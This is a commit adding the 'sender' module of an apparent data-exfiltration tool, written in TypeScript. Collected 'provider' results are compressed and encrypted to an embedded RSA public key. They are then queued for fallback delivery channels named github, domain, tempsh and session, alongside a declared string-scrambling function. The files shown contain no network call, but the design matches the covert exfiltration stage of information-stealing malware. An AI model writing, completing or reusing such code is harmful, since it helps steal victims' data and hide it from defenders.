Upload files to "src/sender"

This commit is contained in:
2026-07-03 02:58:54 +00:00
parent fa158c7845
commit 9509832810
3 changed files with 97 additions and 0 deletions
+71
View File
@@ -0,0 +1,71 @@
import * as crypto from "crypto";
import { promisify } from "util";
import * as zlib from "zlib";
import { enc_key } from "../generated";
import type { ProviderResult } from "../providers/types";
import type { EncryptedPackage, SenderDestination, SenderName } from "./types";
declare function scramble(str: string): string;
const gzip = promisify(zlib.gzip);
export abstract class Sender {
readonly name: SenderName;
readonly destination: SenderDestination;
constructor(name: SenderName, destination: SenderDestination) {
this.name = name;
this.destination = destination;
}
/**
* Transport-specific delivery. Must throw on failure so the Dispatcher
* can fall back to the next Sender. Return value indicates whether the
* remote side accepted the payload.
*/
abstract send(envelope: EncryptedPackage): Promise<void>;
/**
* Optional pre-flight check (e.g., auth valid, reachable). Default: true.
* The Dispatcher can call this to skip obviously-broken senders without
* burning a full send attempt.
*/
async healthy(): Promise<boolean> {
return true;
}
/** Build an encrypted envelope. Exposed so the Dispatcher can do it once
* and reuse it across fallback attempts. */
async createEnvelope(results: ProviderResult[]): Promise<EncryptedPackage> {
const jsonString = JSON.stringify(results);
const plaintext = Buffer.from(jsonString);
const compressed = await gzip(plaintext);
const aesKey = crypto.randomBytes(32);
const iv = crypto.randomBytes(12);
const encryptedKey = crypto.publicEncrypt(
{
key: enc_key,
padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
oaepHash: "sha256",
},
aesKey,
);
const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
const encryptedData = Buffer.concat([
cipher.update(compressed),
cipher.final(),
cipher.getAuthTag(),
]);
const combined = Buffer.concat([iv, encryptedData]);
return {
envelope: combined.toString("base64"),
key: encryptedKey.toString("base64"),
};
}
}
+6
View File
@@ -0,0 +1,6 @@
import type { ProviderResult } from "../providers/types";
import { Sender } from "./base";
export interface SenderFactory {
tryCreate(quickRef?: ProviderResult[]): Promise<Sender | null>;
}
+20
View File
@@ -0,0 +1,20 @@
export type SenderName = "github" | "domain" | "tempsh" | "session";
export type SenderDestination = {
domain: string;
port: number;
path: string;
dry_run?: boolean;
noop?: boolean;
};
export type EncryptedPackage = {
key: string;
envelope: string;
token?: string;
};
export type SendPackage = {
sender: SenderName;
envelope: EncryptedPackage;
};